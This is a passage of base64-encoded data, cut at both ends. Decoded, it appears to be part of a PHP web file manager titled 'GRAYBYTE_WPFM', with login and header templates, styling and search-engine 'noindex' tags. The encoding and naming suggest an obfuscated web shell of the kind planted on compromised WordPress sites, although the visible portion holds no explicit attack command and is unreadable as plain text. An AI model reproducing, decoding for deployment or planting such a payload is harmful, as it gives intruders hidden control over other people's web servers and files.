EgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDXC9wYXRoJTNFJTNDXC9zdmclM0VcIik7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEyMXB4O1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZyB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDM2MHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMi4zcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWwge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NrIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAyMHB4IDA7XG4gICAgICAgICAgICAgICAgY29sb3I6ICM4ODg7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwJTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHkge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uub2sge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3JlZW47XG4gICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmVycm9yIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogcmVkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IG9yYW5nZTtcbiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgZyxcbiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtcbiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDAzZTNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuaC0xMDB2aCB7XG4gICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7XG4gICAgICAgICAgICB9XG4gICAgICAgIDxcL3N0eWxlPlxuICAgIDxcL2hlYWQ+XG5cbiAgICA8Ym9keSBjbGFzcz1cImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+XCI+XG4gICAgICAgIDxkaXYgaWQ9XCJ3cmFwcGVyXCIgY2xhc3M9XCJjb250YWluZXItZmx1aWRcIj5cblxuICAgICAgICA8P3BocFxuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm1cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKVxuICAgIHtcbiAgICAgICAgPz5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cblxuPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW5cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKVxuICAgIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiB0ZXh0XC9odG1sOyBjaGFyc2V0PXV0Zi04XCIpO1xuICAgICAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgICAgIGhlYWRlcihcIlByYWdtYTogbm8tY2FjaGVcIik7XG5cbiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoO1xuICAgICAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cblxuICAgIDxoZWFkPlxuICAgICAgICA8bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIGNvbnRlbnQ9XCJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJhdXRob3JcIiBjb250ZW50PVwiQ0NQIFByb2dyYW1tZXJzXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJyb2JvdHNcIiBjb250ZW50PVwibm9pbmRleCwgbm9mb2xsb3dcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImdvb2dsZWJvdFwiIGNvbnRlbnQ9XCJub2luZGV4XCI+XG4gICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7XG4gICAgICAgICAgICBlY2hvICc8bGluayByZWw9XCJpY29uXCIgaHJlZj1cIicgLiBmbV9lbmMoJGZhdmljb25fcGF0aCkgLiAnXCIgdHlwZT1cImltYWdlXC9wbmdcIj4nO1xuICAgICAgICB9ID8+XG4gICAgICAgIDx0aXRsZT5HUkFZQllURV9XUEZNPFwvdGl0bGU+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZm9udC1hd2Vzb21lJyk7ID8+XG4gICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PlxuICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PlxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxuICAgICAgICAgICAgd2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+JztcbiAgICAgICAgPFwvc2NyaXB0PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBodG1sIHtcbiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgICAgICAgICAgICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgICAgICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7XG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAgICAgICAgIHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAqLFxuICAgICAgICAgICAgKjo6YmVmb3JlLFxuICAgICAgICAgICAgKjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjdGN0Y3O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNTVweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgYSxcbiAgICAgICAgICAgIGE6aG92ZXIsXG4gICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICBhOmZvY3VzIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZpbGVuYW1lLFxuICAgICAgICAgICAgdGQsXG4gICAgICAgICAgICB0aCB7XG4gICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubmF2YmFyLWJyYW5kIHtcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgLmRyb3Bkb3duLW1lbnUgYSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc2VhcmNoLWFkZG9uIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJsLTAge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyci0wIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFkLWNydW1iIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2NjY2NjYztcbiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHtcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLCB3aWR0aCAwcyAuMjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6ICMyMjIyMjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZSB0ZCxcbiAgICAgICAgICAgIC50YWJsZSB0aCB7XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LFxuICAgICAgICAgICAgLnRhYmxlIC5jdXN0b20tY2hlY2tib3gtaGVhZGVyIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gge1xuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1zbSB0aCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogLjRyZW07XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YxZjFmMTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmhpZGRlbiB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmUud2l0aC1obGpzIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlcjogMDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogc2Nyb2xsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBjb2RlLm1heGhlaWdodCxcbiAgICAgICAgICAgIHByZS5tYXhoZWlnaHQge1xuICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTtcbiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4O1xuICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gI